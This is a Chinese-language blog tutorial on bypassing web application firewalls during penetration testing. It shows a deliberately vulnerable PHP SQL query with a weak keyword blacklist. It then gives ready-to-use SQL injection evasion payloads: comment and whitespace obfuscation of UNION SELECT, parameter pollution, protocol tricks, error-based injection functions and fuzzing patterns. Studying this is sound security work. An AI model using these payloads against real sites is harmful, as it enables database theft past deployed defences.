渗透测试——WAF绕过原理

 

渗透测试——WAF绕过原理

WAF绕过必要条件
1,熟练掌握mysql函数和语法使用方法
2,深入了解中间件运行处理机制
3,了解WAF防护处理原理和方法
一,WAF绕过原理——白盒绕过
代码样例

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row)
	{
	  	echo "<font size='5' color= '#99FF00'>";	
	  	echo 'Your Login name:'. $row['username'];
	  	echo "<br>";
	  	echo 'Your Password:' .$row['password'];
	  	echo "</font>";
  	}
	else 
	{
		echo '<font color= "#FFFF00">';
		print_r(mysql_error());
		echo "</font>";  
	}
}
else 
{ 
	echo "Please input the ID as parameter with numeric value";
}


function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
	return $id;
}

1,1代码分析
这个通过分析代码发现定义了blacklist黑名单功能然后是直接正则匹配过滤了or和and并忽略大小写
1,2绕过限制
因为这里匹配的是or 和AND
(1)大小写变形:Or OR oR
(2)等价替换:and=&& or=||
二,WAF绕过原理——黑盒绕过
1,架构层绕过WAF
(1)寻找源站——>针对云waf
(2)利用同网段——>绕过waf防护区域
(3)利用边界漏洞——>绕过waf防护区域
2,资源限制角度绕过waf
post传入大的数据包body
3,协议层面绕过waf检测
(1)协议为覆盖waf
请求方式变换:GET->POST
Content-Type变换:application/x-www-form-urlencoded————>multipart/form-data
(2)参数污染
index.php?id=1&id=2
这里遇到的是waf只是针对第一传参进行检测未对第二个传参进行检测
4,规则层面绕过
4.1sql注释符绕过

1union /**/select2union /*aaaaaaa%01bbs*/select3union /*aaaaaaaaaaaaaaaaaaaaa*/select4)内联注释:/*!xxxxxxxx*/

4.2空白符绕过
(1)mysql空白符

%09,%0A,%0B,%0C,%0D,%20,%A0,/*xxx*/`

(2)正则匹配的空白符:

%09,%0A,%0B,%0D,%20

4.3函数分隔符号
(1)concat%2520(
(2)concat/**/(
(3)concat%250c(
(4)concat%25a0(
4.4浮点数词解析
(1)selectfrom users where id=8E0union select 1,2,3,4,5,6,7#
(2)select
from users where id=8.0union select 1,2,3,4,5,6,7#
(3)select*from users where id=\Nunion select 1,2,3,4,5,6,7#
4.5利用报错进行sql注入
error-based sql注入函数非常容易被忽略

(1)extractvalue(1,concat(0x5c,md5(3)));
(2)updatexml(1,concat(0x5c,md5(3)));
(3)GeometryCollection(select *from (select *from (select @@version)x))
(4)polygon((select *from (select name_const(version(),1))x))
(5)linestring()
(6)multipoint()
(7)multilinestring()
(8)multipolygon()

4.6mysql特殊语法

select {x table_name}from{x information_schema.tables};

三,Fuzz绕过WAF
1,以注释符为例子不断fuzz
(1)先测试最基本的语句
union/**/select
(2)再测试中间引入特殊字符
union/aaaa%01bbs/select
(3)最后测试注释长度
union/aaaaaaaaaaaaaaaaaaaaaa/select
最基本的模式
union/anything/select

 

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值